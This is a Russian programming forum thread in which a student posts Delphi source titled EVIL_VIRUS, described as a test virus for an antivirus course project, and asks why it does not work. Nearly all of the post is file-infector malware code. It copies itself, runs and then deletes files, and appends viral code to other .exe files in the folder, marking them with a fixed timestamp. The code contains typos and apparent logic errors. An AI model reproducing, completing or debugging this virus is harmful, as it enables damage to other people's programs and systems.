Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.05.2010, 23:32   #1
Kazik
Форумчанин
 
Регистрация: 27.05.2009
Сообщений: 192
Восклицание Курсовой проект (антивирус)

тестовый вирус для антивируса...

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS,FileCtrl ;

VaR
VirBuf, ProgBuf, MyBuf : array of char; //массивчики нам для проги и виря
SR : tSearchRec; //характеристики жертвы
My,pr : File; //файлики разные
ProgSize,result,int : integer; //размер кода программы, результат поиска
PN,st,s : String;
si : tStartUpInfo;
p :tProcessInformation;
infected : boolean; //Ты заряжен?

CONST VirLen: longint= 373248;

{$I-}
begin
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\program.exe',fALSE);


IF FileSize(my)>VirLen then
begin
//Запуск программы
AssignFile (my,'c:\program.exe');
ProgSize:= VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:=ParamStr(0);
PN:='_'+ExtractFileName(PN);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
end;
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;

Createprocess(nil,@PN[1],nil,nil,false,Create_default_error _mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infi nite);
//Запустили, программа отработала. Сотрем ее
ErAsE (pr);
Erase (my);

result:= FindFirst ('*.exe',faAnyFile,sr);
while Result=0 do
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr(FileDateToDateTime (FileAge (sr.name)))= '03.08.1998 6:00:00' then
//Проверено!
infected:= true;
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
reset(my);
Seek(my,sr.Size);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDa teTime ('03.08.1998 6:00:00')));
//Если вир запущен "чистым", т.е. не из зараженной программы, то завершаемся
end
else halt;
result:= FindNext (sr);
end;
end.

не могу понять почему не работает...
Kazik вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Курсовой проект tatishka Помощь студентам 1 19.01.2011 10:33
Курсовой проект по Delphi 7 Agent[PNZ] Помощь студентам 9 14.11.2008 13:25
Нужен курсовой проект фамил Помощь студентам 2 13.05.2008 17:58
Небольшой курсовой проект (Assembler) slaider Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 17 10.03.2008 18:59